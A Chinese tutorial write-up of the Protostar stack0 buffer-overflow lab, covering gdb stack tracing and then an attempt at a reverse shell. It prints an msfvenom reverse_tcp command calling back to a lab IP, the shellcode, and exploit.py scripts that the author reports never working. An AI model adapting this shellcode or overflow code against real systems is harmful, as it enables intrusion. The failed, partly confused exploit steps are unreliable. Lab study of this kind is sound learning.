二進位制入門--動態跟蹤原始碼和反彙編程式碼

烏雲知識庫發表於2018-03-08

quanyechavshuo · 2016/06/14 13:31

0x00 棧基礎知識


1.blog.chinaunix.net/uid-1848701…

2.eip是當前幀中還沒開始執行,下一步要執行的彙編指令的地址

3.32位系統中,一個棧單元為32位

#!bash
esp+0x4代表下一個棧單元
esp+0x1c代表esp下面第[16+12=28(/4=7)] 7個棧單元
eg.
    esp[ss:0x00000000]         |ab221245|   -->  一個棧單元
    esp+0x4[ss:0x00000004]     |2348sko9|   -->  一個棧單元
複製程式碼

4.call addr===>push eip + jmp addr

執行call addr時,由於call addr已經執行,所以call addr=push eip+jmp addr中的eip為call addr彙編指令當前所在幀中的下一條指令的地址,這裡說的當前所在幀是如下圖frame所示在當前圖片看到的一片彙編指令程式碼,如執行0xff77b8d02處的call 0xf77bc2e0時,eip為當前幀的下一條指令的地址為f77b8d07

p1

5.leave===>mov esp,ebp + pop ebp

6.ret===>pop eip + jmp eip

0x01 gdb動態排程


1.gdb常用除錯命令

wenku.baidu.com/link?url=W1…

2.提煉命令:

#!bash
--------terminal-----------
gdb
help
help data
help stack
help status
-----------end-------------
gdb stack0           #===>gdb + file stack0
l(list)              #show source
b 7(break 7)         #add break on line7
b 8(break 8)         #add break on line8
b 11
b 13
b 15
info b(info break)
info registers       #show registers
r(run)
disas /m
             /r      #show hex(顯示彙編指令對應十六進位制值)
             /m      #show source if available(如果有原始碼,顯示對應行原始碼)
set disassembly-flavor att/intel     #設定att或intel格式
set disassemble-next-line            #設定下一步是否顯示彙編碼
si(setpi)                            #==> step into,like f7 in od
ni(nexti)                            #==> like f8 in od
leave                #立即中斷當前函式執行並返回,當前函式的剩餘語句將不被執行
finish               #執行到當前函式返回之後停止,當前函式的剩餘語句將正常執行
bt(backtrace)        #檢視所有棧幀資訊
f num(frame num)     #選擇並列印第num個棧幀資訊
info f(info frame)   #檢視當前棧幀資訊
複製程式碼

0x02 例項分析


link:exploit-exercises.com/protostar/s…

原始碼如下:

#!cpp
--------stack0.c----------
1       #include <stdlib.h>
2       #include <unistd.h>
3       #include <stdio.h>
4
5       int main(int argc, char **argv)
6       {
7         volatile int modified;
8         char buffer[64];
9
10        modified = 0;
11        gets(buffer);
12
13        if(modified != 0) {
14            printf("you have changed the 'modified' variable\n");
15        } else {
16            printf("Try again?\n");
17        }
18      }
-----------end------------
複製程式碼

該題要求溢位變數modified,也即覆蓋棧中的modified所在的內在地址裡的值,在終端中執行如下命令,下面為實時操作與對輸出的相應理解

on kali:

#!bash
cd /root/桌面
vi stack0.c with upon source code
gcc -g -o stack0 stack0.c
gdb stack0

l
----------output:----------
1       #include <stdlib.h>
2       #include <unistd.h>
3       #include <stdio.h>
4
5       int main(int argc, char **argv)
6       {
7         volatile int modified;
8         char buffer[64];
9
10        modified = 0;kjkkkk
-----------end----------

l
----------output:----------
11        gets(buffer);
12
13        if(modified != 0) {
14            printf("you have changed the 'modified' variable\n");
15        } else {
16            printf("Try again?\n");
17        }
18      }
-----------end----------

b 7
b 8
b 11
b 13
b 15

info b
---------output:-----------
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483fd in main at stack0.c:7
breakpoint already hit 1 time
2       breakpoint     keep y   0x080483fd in main at stack0.c:8
breakpoint already hit 1 time
3       breakpoint     keep y   0x08048405 in main at stack0.c:11
breakpoint already hit 1 time
4       breakpoint     keep y   0x08048411 in main at stack0.c:13
5       breakpoint     keep y   0x08048427 in main at stack0.c:15
----------end--------------

r

disas /m
-------------output:---------------
7         volatile int modified;
8         char buffer[64];
9
10        modified = 0;
=> 0x080483fd <+9>:     movl   $0x0,0x5c(%esp)
---------------end-----------------
複製程式碼

通過上面的結果發現中斷在line10,而其中line7,lin8中的兩個定義變數的語句volatile int modified和char buffer[64]並沒有中斷效果

main函式對應彙編程式碼從line6開始:

#!bash
---------------------------------彙編跟蹤:line6------------------------------------------
Dump of assembler code for function main:
6       {
0x080483f4 <+0>:     push   %ebp                 #ebp壓棧,對應下圖stack0中的序號1
0x080483f5 <+1>:     mov    %esp,%ebp            #ebp=esp,對應下圖stack0中的序號2
0x080483f7 <+3>:     and    $0xfffffff0,%esp     #將esp最後四位置0,應該是一種安全措施,獲得更大的棧空間,對應序號3
0x080483fa <+6>:     sub    $0x60,%esp           #擴大棧空間,0x60=96=(/4=24)24個棧單元,對應序號4
---------------------------------------end-----------------------------------------------

line7,lin8程式碼:
------------line7,8---------------
7         volatile int modified;
8         char buffer[64];
--------------end-----------------
複製程式碼

這兩行程式碼由於無法在gdb中跟蹤,暫時無法確定在棧中的分佈情況

下文將會得出(此時可以先不看這個secret):

  1. 進入main函式前的上一幀中,有一個呼叫main函式的動作,為了呼叫main函式,有這幾個動作:

    1. 將main函式的引數從右到左壓棧(push)
    2. call main,將當前幀(還沒進入main函式時的幀)中call main彙編語句的下一行彙編語句的地址壓棧
  2. 在進入main函式,main初始化後(push ebp,ebp=esp,esp=esp-0x60),宣告變數的line7:volatile int modified,char buffer[64]的對應彙編效果是:從上一句esp=esp-0x60中的esp為擴充套件0x60的棧空間大小之前的esp開始依次“壓入”接下來宣告的各個變數,也即:

    1. 在下圖stack0中的0xffffd4ec中“壓入” modified變數,在0xffffd4ec上面“壓入”buffer[64]這個大變數,也即在0xffffd4ec-0x40<==>0xffffd4ec上面64B空間(16個棧單元)的位置上
    2. 這裡打了引號的“壓入”沒有esp=esp-4的效果,應該是作業系統對程式初始化時算好了將要宣告的變數放到(“壓入”)對應的位置上
  3. 一般棧中從下到上資料依次為函式從右到左的引數、呼叫該函式的上一幀中"call 該函式"形式的對應彙編指令的下一句彙編指令的地址

  4. 只要修改了0xffffd4ec處(存放了modified變數)的值,將其改成非0就可以完成這一題的要求了

  5. 上面3中說的非0是記憶體中的非0,如果是鍵盤上的0鍵並不是記憶體中的0,如下圖ascii所示

p2

#!bash
line10:(line9是空格行)
-----------------彙編跟蹤:line10----------------------
10        modified = 0;
=> 0x080483fd <+9>:     movl   $0x0,0x5c(%esp)      #0x5c=92(/4=23)=23個棧單元,將esp下面第23個棧單元置0,對應圖中序號5,在下一步可可發現是將0xffffd4ec處的32位空間置0
----------------------end-----------------------------

x $esp+0x5c
----------output:------------
0xffffd4ec:     0xf7fa6000
------------end--------------
複製程式碼

再執行stepi後會執行[esp+0x5c]=0,將上面的地址對應內容置0

#!bash
line11:
-----------------彙編跟蹤:line11-----------------------
11        gets(buffer);
0x08048405 <+17>:    lea    0x1c(%esp),%eax          #eax=esp+0x1c,0x1c=28(/4=7)=7個棧單元,對應圖中序號6
0x08048409 <+21>:    mov    %eax,(%esp)              #[esp]=eax,對應圖中序號7,為了下面的call gets作準備-->將func gets的引數“入棧”(放到對應的位置,不是push arg,沒有esp=esp-4)
0x0804840c <+24>:    call   0x804830c <[email protected]>     #上面一行[esp]=eax=addr,將buffer[64]的起始地址放入棧中準備給gets函式呼叫
-----------------------end-----------------------------

stepi(0xffffd4ec被置0)
x $esp+0x5c
-----------output:-----------
0xffffd4ec:     0x00000000
-------------end-------------

disas /m
------------out:-----------
11        gets(buffer);
=> 0x08048405 <+17>:    lea    0x1c(%esp),%eax     #這行左邊的箭頭表示執行到這行,也即eip=0x08048405,此時x $esp+0x5c ===> 0xffffd4ec:  0x00000000

0x08048409 <+21>:    mov    %eax,(%esp)         #此外,lea 0x1c(%esp),%eax(in att mode)<==>lea eax,[esp+0x1c](in intel mode)
0x0804840c <+24>:    call   0x804830c <[email protected]>               
-------------end-----------

set disassembly-flavor intel(upon output is the result of "set dissassembly-flavor att" on default)
---------------output:---------------
11        gets(buffer);
=> 0x08048405 <+17>:    lea    eax,[esp+0x1c]
0x08048409 <+21>:    mov    DWORD PTR [esp],eax
0x0804840c <+24>:    call   0x804830c <[email protected]>
------------------end----------------

pay attention to eip part:(symbol "=>" means eip is here)
---------eip part----------
11        gets(buffer);
=> 0x08048405 <+17>:    lea    eax,[esp+0x1c]           #將esp+0x1c的值賦給eax,eax=0xffffd4ac
0x08048409 <+21>:    mov    DWORD PTR [esp],eax
0x0804840c <+24>:    call   0x804830c <[email protected]>     #push 0x08048411,jmp func gets,對應圖中序號8
------------end------------

p $esp+0x1c          #print $esp+0x1c,列印$esp+0x1c變數的值
output:$2 = (void *) 0xffffd4ac

x $esp+0x1c          #x addr==>print [addr],that is to say,print the value in the address of addr
---------output:(==>x $eax)----
0xffffd4ac:     0xf7e2e243
-----------end-----------------

si
si
disas /m
---------output:------------
11        gets(buffer);
0x08048405 <+17>:    lea    eax,[esp+0x1c]
0x08048409 <+21>:    mov    DWORD PTR [esp],eax
=> 0x0804840c <+24>:    call   0x804830c <[email protected]>
----------end---------------

x $eax
-------output:------------
0xffffd4ac:     0xf7e2e243
------------end-----------

x/4 $esp    #檢視當前棧中esp起4個棧單元的情況
---------output:------------
0xffffd490:     0xffffd4ac      0x00000000      0x000000c2      0xf7e92ee6
-------------end------------
複製程式碼

其中的0xffffd4ac對應圖中的序號6中數值

#!bash
n
輸入:
12345678981234567898123456789812345678981234567898123456789812340000
enter
其中最後的12340000為第60到68個字元
-----------output:--------------
Breakpoint 4, main (argc=1, argv=0xffffd594) at stack0.c:13
13        if(modified != 0) {
--------------end---------------

si
disas /m
---------output:------------
13        if(modified != 0) {
0x08048411 <+29>:    mov    eax,DWORD PTR [esp+0x5c]
=> 0x08048415 <+33>:    test   eax,eax
-------------end------------

p $eax
-----------output:------------
$4 = 808464432
------------end---------------

p/x $eax(以十六進位制顯示eax的值,help x(x $esp+0x1c相當於p [$esp+0x1c]的效果,只不過p不支援p [somethin]命令顯示記憶體地址對應的內容)中的/FMT可以看到支援的各種顯示格式)
------------output:-------------
$5 = 0x30303030
---------------end--------------
複製程式碼

這裡的0x30303030是上面輸入的68個鍵盤上的數字中的最後4個0對應的記憶體中的值,鍵盤上的數字0對應的真實記憶體ascii值為48(十進位制),也即十六進位制0x30,更多關於ascii的理解可參考:

forum.90sec.org/forum.php?m…

所以要輸入第65到68個字元單元為記憶體中的0,也即ascii值為nul的字元:

#!bash
print '\x00'(或python -c 'print "\x00"')
output:空
print '0'(或python -c 'python "0"')
output:0
print '\x30'(或python -c 'python "\x30"')
output:0
複製程式碼

所以print '\x00'在記憶體中的資料為0,print '0'<==>print '\x30'

重新執行./stack0並輸入下面的值可使modified在記憶體中的值不變,依然為記憶體中的0

1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00

注意,如果直接在鍵盤上輸入上面這一長串,最後的\x00\x00\x00\x00在記憶體中並不能被解析成記憶體中的0000,要使用如下方法:

#!bash
print '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
#或
echo '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
複製程式碼

原題中要求改變modified位,直接輸入鍵盤上的任意大於64位的一串字元即可,因為鍵盤上的數字0在記憶體中是0x30,如果將鍵盤上的0鍵輸入到對應的modified位上,會改變modified

p3

該題要求溢位變數modified,也即覆蓋棧中的modified所在的內在地址裡的值,這裡進行擴充套件,通過棧溢位反彈shell.

該題中ASLR(地址隨機化) 和 NX(棧不可執行)已禁用

由上圖stack0及分析易知:

  1. 棧中如果將一個函式展開,一般從push ebp+mov ebp,esp+sub esp,0x??開始到leave+ret結束,將這些看作是該函式的幀,該函式的上一幀中有呼叫該函式的彙編語句,該函式的返回地址在棧中的位置為該函式幀的下面一個棧單元內(儲存在該函式幀的下面一個棧單元內)
  2. 棧中內容由下至上依次為:函式的返回地址、函式的幀(由下至上從函式的上一幀中ebp的值開始)
  3. gets函式通過終端輸入超長字元只能覆蓋main函式幀的上一幀中呼叫main函式時main函式的返回地址main_ret,不能覆蓋main函式幀中呼叫gets函式時get函式的返回地址gets_ret

計算需要輸入多少字元可以覆蓋main_ret:

#!bash
r
Start it from the beginning? (y or n)
y
info b
-------------output:-------------
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x080483fd in main at stack0.c:7
        breakpoint already hit 1 time
2       breakpoint     keep y   0x080483fd in main at stack0.c:8
        breakpoint already hit 1 time
3       breakpoint     keep y   0x08048405 in main at stack0.c:11
4       breakpoint     keep y   0x08048411 in main at stack0.c:13
5       breakpoint     keep y   0x08048427 in main at stack0.c:15
---------------end---------------

disas /m
----------------output:--------------------
Dump of assembler code for function main:
6       {
   0x080483f4 <+0>:     push   ebp
   0x080483f5 <+1>:     mov    ebp,esp
   0x080483f7 <+3>:     and    esp,0xfffffff0
   0x080483fa <+6>:     sub    esp,0x60

7         volatile int modified;
8         char buffer[64];
9
10        modified = 0;
=> 0x080483fd <+9>:     mov    DWORD PTR [esp+0x5c],0x0
-----------------end-----------------------

b *0x080483f5
r
Start it from the beginning? (y or n) 
y
-------------------output:-------------------
Starting program: /root/桌面/stack0 

Breakpoint 6, 0x080483f5 in main (argc=1, argv=0xffffd594) at stack0.c:6
6       {
---------------------end---------------------

disas /m
-----------------output:-------------------
Dump of assembler code for function main:
6       {
   0x080483f4 <+0>:     push   ebp
=> 0x080483f5 <+1>:     mov    ebp,esp
   0x080483f7 <+3>:     and    esp,0xfffffff0
-------------------end---------------------

p $esp
-------------output:-----------------
$7 = (void *) 0xffffd4f8
---------------end-------------------
複製程式碼

也即執行完0x080483f4後esp值為0xffffd4f8,所以要覆蓋main_ret,需要輸入(0xffffd4f8-0xffffd4ec)/4+16+1+1=21個棧單元=21*4=84B,也即84個字元

main_ret=0xffffd4f8+0x4=0xffffd4fc

#!bash
python -c "print 'a'*80+'bbbb'" | ./stack0     #(此時不可直接print 'a'*80,print不支援)
------------output:------------
you have changed the 'modified' variable
[1]    11055 done                python -c 'print "a"*80+"bbbb"' | 
       11056 segmentation fault  ./stack0
-------------end---------------

gdb -q -c core
--------output:----------
/root/桌面/core: 沒有那個檔案或目錄.
----------end------------
複製程式碼

解決方法:blog.csdn.net/nuoline/art…

#!bash
ulimit -c
---------output:----------
0
------------end-----------

ulimit -c 2048
python -c 'print "a"*80+"bbbb"' | ./stack0
------------output:--------------
you have changed the 'modified' variable
[1]    11403 done                              python -c 'print "a"*80+"bbbb"' | 
       11404 segmentation fault (core dumped)  ./stack0
--------------end----------------

gdb -q -c core
----------------output:---------------
[New LWP 11404]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x62626262 in ?? ()
-----------------end------------------
複製程式碼

從而發現某個函式(main函式)的返回地址被改寫成0x62626262(bbbb),從而產生溢位錯誤

或者:

#!bash
gdb ./stack0
b 18
si
si
複製程式碼

此時程式將執行到達main函式幀中的ret,再si將跳轉到main_ret處,可通過以下驗證

#!bash
-------------output:--------------
15        } else {
16            printf("Try again?\n");
   0x08048427 <+51>:    movl   $0x8048529,(%esp)
   0x0804842e <+58>:    call   0x804832c <[email protected]>

17        }
18      }
   0x08048433 <+63>:    leave  
---Type <return> to continue, or q <return> to quit---
=> 0x08048434 <+64>:    ret    

End of assembler dump.
(gdb) si
0x62626262 in ?? ()
--------------end-----------------
複製程式碼

同樣可以發現main_ret被溢位為0x62626262(bbbb)

檢驗一下:

#!bash
python -c 'print "a"*80+"bbcc"' | ./stack0
------------------output:--------------------
[New LWP 11928]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x63636262 in ?? ()
---------------------end---------------------
複製程式碼

最後的"bbcc"由於在記憶體中依次由上到下存放在棧空間中(在一個棧單元中可放下4個字元,在一個棧單元中從左到右存放),而棧中由上到下或一個棧單元中的從左到右都是由記憶體低地址到記憶體高地址排列,所以bbcc(0x62626363)被翻譯成eip=0x63636262

為了溢位反彈一個shell,用msf生成shellcode,並構造成如下輸入鏈來觸發shellcode的執行

"a"*80+addr(jmp esp)+shellcode

其中shellcode程式碼由msf生成,輸出為py版本,反彈ip設為kali的ip:192.168.3.106,port為1111

#!bash
2004 ~  » msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.3.106 LPORT=1111 -e x86/shikata_ga_nai -b "\x00" --platform linux -f py 
-------------------------output:-----------------------
No Arch selected, selecting Arch: x86_64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
buf =  ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"
-------------------------end--------------------------
複製程式碼

其中jmp esp的地址由msfelfscan找出,win下為msfpescan

msfelfscan -j esp /root/桌面/stack0

結果發現由於stack0的程式碼比較簡單,裡面沒有jmp esp的指令,於是通過info shared來找出stack0中呼叫系統函式時用到的so檔案,然後從so檔案裡找出jmp esp的地址,如下:

#!bash
info shared
------------output:----------------
From        To          Syms Read   Shared Object Library
0xf7fdd860  0xf7ff50fc  Yes (*)     /lib/ld-linux.so.2     #0xf7fdd860為該動態連結庫的記憶體載入基址
                        No          linux-gate.so.1
0xf7e14420  0xf7f44c0e  Yes (*)     /lib/i386-linux-gnu/i686/cmov/libc.so.6
(*): Shared library is missing debugging information.
--------------end------------------
複製程式碼

然後執行msfelfscan -j esp /lib/ld-linux.so.2

#!bash
----------output:-------------
[/lib/ld-linux.so.2]
0x0001813b jmp esp
0x0001bfe7 jmp esp
0x0001c24f jmp esp
------------end---------------
複製程式碼

找到一個jmp esp地址為:0x0001813b,但是這只是偏移量

真正的地址為:0xf7fdd860+0x0001813b=0xf7ff599b

於是輸入鏈為:

"a"*80+'\x9b\x59\xff\xf7'+shellcode

用python程式碼實現exploit.py:

#!bash
------------exploit.py----------------
import os
import sys
buf =  ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"

jmp_esp="\x9b\x59\xff\xf7"
#print jmp_esp
input="a"*80+jmp_esp+buf
#print input
os.system("echo '%s' | ./stack0" % input)
---------------end--------------------
複製程式碼

發現上面算出來的jmp_esp='\x9b\x59\xff\xf7'無法跳轉到esp,可能是我的這種理解錯了

換工具,rop-tool

先安裝上面連結中說的capstone

然後下載rop-tool

#!bash
chmod +x rop-tool-Linux-x86_64
mv rop-tool-Linux-x86_64 /usr/bin/rop
rop gadget ./stack0(或者rop gadget -a ./stack0)
------------------output:--------------------
Looking gadgets, please wait...
 0x080482e5 -> add dword ptr [eax], eax; add byte ptr [eax + 0x5b], bl; leave ; ret ; 
 0x080482ca -> ret ; 
 0x08048440 -> push ebp; mov ebp, esp; pop ebp; ret ; 
 0x080483ef -> call eax; leave ; ret ; 
 0x080482e9 -> pop ebx; leave ; ret ; 
 0x080484a7 -> pop edi; pop ebp; ret ; mov ebx, dword ptr [esp]; ret ; 
 0x080482c5 -> add byte ptr [eax], al; add byte ptr [ebx - 0x7f], bl; ret ; 
 0x080484a7 -> pop edi; pop ebp; ret ; 
 0x080484f4 -> pop ecx; pop ebx; leave ; ret ; 
 0x080483b9 -> add eax, 0x8049644; add dword ptr [ebx + 0x5d5b04c4], eax; ret ; 
 0x080484a8 -> pop ebp; ret ; mov ebx, dword ptr [esp]; ret ; 
 0x080483ef -> call eax; 
 0x080484a5 -> pop ebx; pop esi; pop edi; pop ebp; ret ; 
 0x080482ea -> leave ; ret ; 
 0x080483c3 -> pop ebp; ret ; 
 0x080483c2 -> pop ebx; pop ebp; ret ; 
 0x080482e6 -> add byte ptr [eax], al; pop eax; pop ebx; leave ; ret ; 
 0x080482e7 -> add byte ptr [eax + 0x5b], bl; leave ; ret ; 
 0x080482e8 -> pop eax; pop ebx; leave ; ret ; 
 0x080484aa -> mov ebx, dword ptr [esp]; ret ; 
 0x080482c7 -> add byte ptr [ebx - 0x7f], bl; ret ; 
 0x080484a9 -> ret ; mov ebx, dword ptr [esp]; ret ; 
 0x080483be -> add dword ptr [ebx + 0x5d5b04c4], eax; ret ; 
 0x08048432 -> dec ecx; ret ; 
 0x08048441 -> mov ebp, esp; pop ebp; ret ; 
 0x080484a6 -> pop esi; pop edi; pop ebp; ret ; 
---------------------end---------------------
複製程式碼

裡面沒有找到jmp esp,不理解為什麼不搜尋系統載入到記憶體的動態連結庫so檔案裡的jmp esp,暫且不管這個問題

沒有找到jmp esp,rop gadget這個功能主要是搜尋用來獲得ret2libc構造鏈中的子語句的功能,特點是每個gadget都是以ret結尾的一條或幾條彙編小指令

換工具edb-debugger,kali自帶,將stack0拖入edb,快捷鍵ctrl+o,或者從plugins選項中選擇opcodesearcher工具(裡面也有roptool,功能類似上面的rop-tool工具的功能,edb-debugger中的toptool功能可以看到系統記憶體已經載入的動態連結庫列表,而上面freebuf中提到的rop-tool不能)

搜到jmp esp地址如下(由於本機kali為64位,所以顯示成下圖中樣式,取其中32位的地址即可)

p4

取其中的0xf773813b,替換exploit.py中jmp_esp="\x3b\x81\x73\xf7",上圖中選擇的/lib/i386-linux-gnu/ld-2.19.so應該是隨著作業系統啟動載入到系統記憶體中的可用動態連結庫檔案

執行exploit.py,結果依然不行,這個jmp_esp還是沒有被執行,可能是沒有找到這個地址,不理解,暫且不管這個問題

#!bash
python exploit.py
----------------outpout:------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�A>4P���do<$3ɱ1U�da��N>ʪ���SF
         91!z�ik\Dz��5�
you have changed the 'modified' variable
Segmentation fault (core dumped)
┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 07:53]
└─[$] <> gdb -q -c core 
[New LWP 7435]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xf773813b in ?? ()
(gdb) disas 0xf773813b
No function contains specified address.
-----------------end----------------------
複製程式碼

無法有效利用jmp esp的方法,直接在main_ret位置上填充緊跟其後的shellcode的開始的地址,也即address(main_ret位置在記憶體中的地址0xffffd4fc)+0x4的結果:

shellcode_addr=0xffffd500

由於有00,在呼叫gets時系統複製從終端輸入的超長字串會提前停止,所以不能取0xffffd500,取成0xffffd501,在原來shellcode前面加一個nop(\x90),重新構造輸入鏈:

"a"*80+"\x01\xd5\ff\xff"+"\x90"+shellcode

將exploit.py中jmp_esp替換為jmp_esp="\x01\xd5\xff\xff",並在shellcode前面加一個"\x90",新的exploit.py如下:

#!bash
------------------------exploit.py-------------------------------
#/usr/bin/python
import os
import sys
buf =  "\x90"
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"

jmp_esp="\x01\xd5\xff\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
----------------------------end----------------------------------
複製程式碼

結果依然失敗

#!bash
-----------------output:---------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa���1o<$3ɱ1U�da��N>ʪ����A>4P���d
         91!z�ik\Dz��5�
you have changed the 'modified' variable
Segmentation fault (core dumped)
┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 08:33]
└─[$] <> gdb -q -c core 
[New LWP 32688]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xffffd501 in ?? ()
------------------end------------------------
複製程式碼

重新執行./stack0,手工輸入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb

其中1234對應為main_ret位置,bbbb為原來的shellcode位置

產生core檔案後

#!bash
gdb -q -c core
--------output:---------
[New LWP 25058]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x34333231 in ?? ()
---------end------------

x/4 $esp
------output:---------
0xff85ffc0:     0x62626262      0xff860000      0xff86005c      0xf77e679a
-------end------------

x/4 $esp-4
------output:---------
0xff85ffbc:     0x34333231      0x62626262      0xff860000      0xff86005c
--------end-----------
複製程式碼

易知從這裡(core)看到的shellcode開始的位置應該從0xff85ffc0開始(上面exploit.py中不在shellcode前加nop時使用的地址是0xffffd500)

而0xff85ffc0中沒有\x00不影響直接執行shellcode,不加nop,構造成如下輸入鏈:

"a"*80+"\xc0\xff\x85\xff"+shellcode

在exploit.py中具體如下:

#!bash
-----------------exploit.py-------------------
#/usr/bin/python
import os
import sys
buf =  ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"

jmp_esp="\xc0\xff\x85\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-------------------end0-----------------------

python exploit.py
-----------output:--------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�����1o�A>4P���d��N>ʪ���SF
         91!z�ik\Dz��5�
you have changed the 'modified' variable
Segmentation fault (core dumped)
------------end-----------------

gdb -q -c core
-------------output:---------------
[New LWP 2220]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xff85ffc0 in ?? ()
---------------end-----------------
複製程式碼

依然在新的0xff85ffc0無法執行

#!bash
x/40x $esp-4
----------output:------------
0xffe11e0c:     0xff85ffc0      0x3c6f31ba      0xd9cad905      0x5df42474
----------end----------------
複製程式碼

可以看到此時應該將0xff85ffc0改成0xffe11e0c+0x4=0xffe11e10才會執行後面的shellcode(內容從0x3c6f31ba開始)

說明shellcode每次在記憶體中的位置都是變化的

後來又發現下面三種方法特點不同:

方法1:

#!bash
gdb ./stack0
人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
複製程式碼

每次shellcode的位置(bbbb處)在記憶體中的地址都是0xffffd500

方法2:

#!bash
./stack0
人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
gdb -q -c core
複製程式碼

從core檔案中發現每次shellcode的位置(bbbb處)在記憶體中的地址都是變化的

方法3:

#!bash
vi exploit.py
------------exploit.py--------------
#/usr/bin/python
import os
import sys
buf =  ""
buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
buf += "\x8b\xf4\xbe\x2c"

jmp_esp="some addr"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
---------------end------------------

gdb -q -c core
複製程式碼

